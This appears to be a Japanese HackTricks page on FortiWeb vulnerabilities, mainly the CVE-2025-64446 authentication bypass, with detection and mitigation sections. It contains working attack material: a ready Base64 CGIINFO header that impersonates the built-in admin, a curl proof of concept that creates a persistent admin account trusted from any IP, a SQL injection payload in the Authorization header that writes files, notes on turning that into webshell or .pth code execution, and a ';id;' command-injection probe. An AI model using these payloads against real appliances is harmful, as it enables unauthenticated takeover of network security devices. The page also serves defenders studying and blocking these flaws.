Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
概要
Fortinet FortiWeb は /cgi-bin/fwbcgi に集中型の CGI ディスパッチャを公開しています。2つのバグの連鎖により、認証されていないリモート攻撃者が次のことを行えるようになります:
- URL を有効な API プレフィックスで始め、ディレクトリを横断することで
fwbcgiに到達する。 - CGI が信頼する特別な HTTP ヘッダを送ることで、組み込みの
adminを含む任意のユーザをなりすますことができる。
ベンダーアドバイザリ: FG‑IR‑25‑910 (CVE‑2025‑64446)。実際の攻撃で永続的な admin ユーザを作成するために悪用されている事例が観測されています。
影響を受けるバージョン(公表されているもの):
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 ≤ 6.4.3
- 6.3 ≤ 6.3.23
FortiWeb 8.0.2 は以下のトラバーサルプローブに対して HTTP 403 を返します。
簡易脆弱性確認
- Path traversal from API prefix to
fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- 解釈:HTTP 200 → 脆弱である可能性が高い; HTTP 403 → 修正済み。
根本原因の連鎖
- API-prefix path traversal to internal CGI
- 有効な FortiWeb API プレフィックス(例:
/api/v2.0/cmdb/や/api/v2.0/cmd/)で始まる任意のリクエストパスは../で/cgi-bin/fwbcgiまで traverse できる。
- Minimal-body validation bypass
fwbcgiに到達すると、最初のゲートが/var/log/inputcheck/以下のパスごとのファイルに基づく寛容な JSON チェックを行う。ファイルが存在しない場合、チェックは即座にパスする。存在する場合は、ボディが有効な JSON であれば十分である。最小の準拠ボディとして{}を使う。
- Header-driven user impersonation
- プログラムは CGI 環境変数
HTTP_CGIINFO(HTTP ヘッダCGIINFOから派生)を読み取り、Base64 デコードし、JSON を解析して属性をログインコンテキストにそのままコピーし、domain/VDOM を設定する。注目すべきキー: username,loginname,vdom,profname- 組み込み admin を impersonate するための例 JSON:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
上記のBase64(実際に使われているもの):
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
エンドツーエンドの悪用パターン(未認証 → 管理者)
- API-prefix traversal を経由して
/cgi-bin/fwbcgiに到達する。 - 入力チェックを満たすために、任意の有効な JSON ボディ(例:
{})を提供する。 CGIINFO: <base64(json)>ヘッダを送信する。ここで JSON はターゲットのアイデンティティを定義する。fwbcgiが期待するバックエンドの JSON を POST して特権操作を実行する(例:永続化のために管理者ユーザを作成)。
最小限の cURL PoC
- traversal の露出をプローブする:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- adminになりすまして新しい local admin user を作成する:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
注意:
/var/log/inputcheck/<path>.jsonが存在しない場合、任意の有効な JSON ボディ(例:{})で十分です。- アクションスキーマは FortiWeb 内部のものです;上の例はフル権限を持つローカル管理者を追加します。
他の FortiWeb 2025 脆弱性(手早く確認する価値あり)
Pre-auth Fabric Connector SQLi → RCE (CVE-2025-25257)
- 影響範囲: 7.6.0–7.6.3, 7.4.0–7.4.7, 7.2.0–7.2.10, 7.0.0–7.0.10。修正済み: 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11。
- バグ:
get_fabric_user_by_token()がAuthorization: Bearer <token>の値を SQL クエリに直接使用しています。攻撃者は MySQL ユーザーとして実行される SQL を供給でき、SELECT ... INTO OUTFILEを使ってファイルを作成し、コード実行(webshell/.pthローダ)を得ることができます。 - 典型的な攻撃対象:
/api/fabric/device/status(および他の Fabric Connector エンドポイント)。management plane 上の HTTP/HTTPS。 - SQLi の簡易テスト:
curl -sk -X POST \
-H "Authorization: Bearer ' UNION SELECT NULL,NULL,NULL,NULL INTO OUTFILE '/data/var/tmp/pwn.txt' -- -" \
https://<host>/api/fabric/device/status
- Weaponization: FortiWeb の Python site-packages に
.pthを書き込み、インタプリタ起動時にos;os.system(...)を import するようにするか、webroot に CGI を配置する。サービスを再読み込みするとペイロードが実行される。 - Hunting clues: Authorization ヘッダに quotes/UNION/SELECT を含む;
/data/lib/python*/site-packages/や/data/var/waf/html/ROOT/cgi-bin/の下に予期しないファイルがある。
FortiCloud SSO signature bypass (CVE-2025-59719)
- 不適切な SAML 署名検証により、攻撃者が FortiCloud SSO のレスポンスを偽造して資格情報なしで admin としてログインできる。
- FortiCloud SSO login が有効な場合にのみ悪用可能(アプライアンスを GUI から登録するとチェックが外されていなければ自動で有効になる)。
- 影響バージョン(PSIRT による): 8.0.0, 7.6.0–7.6.4, 7.4.0–7.4.9。修正済み: 8.0.1 / 7.6.5 / 7.4.10。
OS command injection in management plane (CVE-2025-58034)
- 影響バージョン: 7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.10, 7.6.0–7.6.5, 8.0.0–8.0.1。修正済み: 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2。
- 実用的なプローブ(非破壊): 管理用 HTTP エンドポイントに
;id;を含むパラメータを送信し、コマンド出力を含む 500 応答を観察する。出力が確認されたら直ちにブロックまたはパッチを適用する。
検出
/cgi-bin/fwbcgiに到達するリクエストで、API プレフィックス経由のパスに../を含むもの(例:/api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi)。CGIINFOヘッダが存在し、Base64 化された JSON がusername/loginname/vdom/profnameのキーを含む。- Fabric Connector SQLi: Authorization ヘッダに SQL メタ文字が含まれている、Python site-packages/CGI ディレクトリに突如現れるファイル、インターネット上の IP からの
/api/fabric/device/statusへのアクセス。 - FortiCloud SSO:
/var/log/ssodに予期しない SAML issuer や audience 値がある。 - バックエンドの痕跡:
/var/log/inputcheck/以下のパス毎のファイル(gate 設定)。- 予期しない admin の作成や設定変更。
- 迅速な検証: トラバーサルプローブが 200 を返す(露出)か 403 を返す(修正版ではブロック)かで判断。
緩和策
- ベンダーのアドバイザリに従い、修正済みリリース(例: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12)へアップグレードする。
- 他の 2025 年の脆弱性もパッチ適用する: SQLi (7.6.4/7.4.8/7.2.11/7.0.11), SSO bypass (8.0.1/7.6.5/7.4.10), command injection (7.6.6/7.4.11/7.2.12/7.0.12/8.0.2)。
- パッチが適用されるまで:
- FortiWeb の management plane を信頼できないネットワークに公開しない。
- 以下をブロックするリバースプロキシ/WAF ルールを追加する:
/api/で始まり../cgi-bin/fwbcgiを含むパス。CGIINFOヘッダを持つリクエスト。- Authorization に SQL メタ文字が含まれる Fabric Connector の呼び出し。
- FortiCloud SSO を使用していない場合、SAML エンドポイントをインターネットからのアクセス不可にする。
- 上記の検出指標を監視し、アラートを設定する。
References
- When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)
- watchTowr vs FortiWeb Auth Bypass — Detection artefact generator
- CVE-2025-25257 — Fabric Connector pre-auth SQLi PoC
- FortiCloud SSO signature bypass overview (CVE-2025-59719)
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


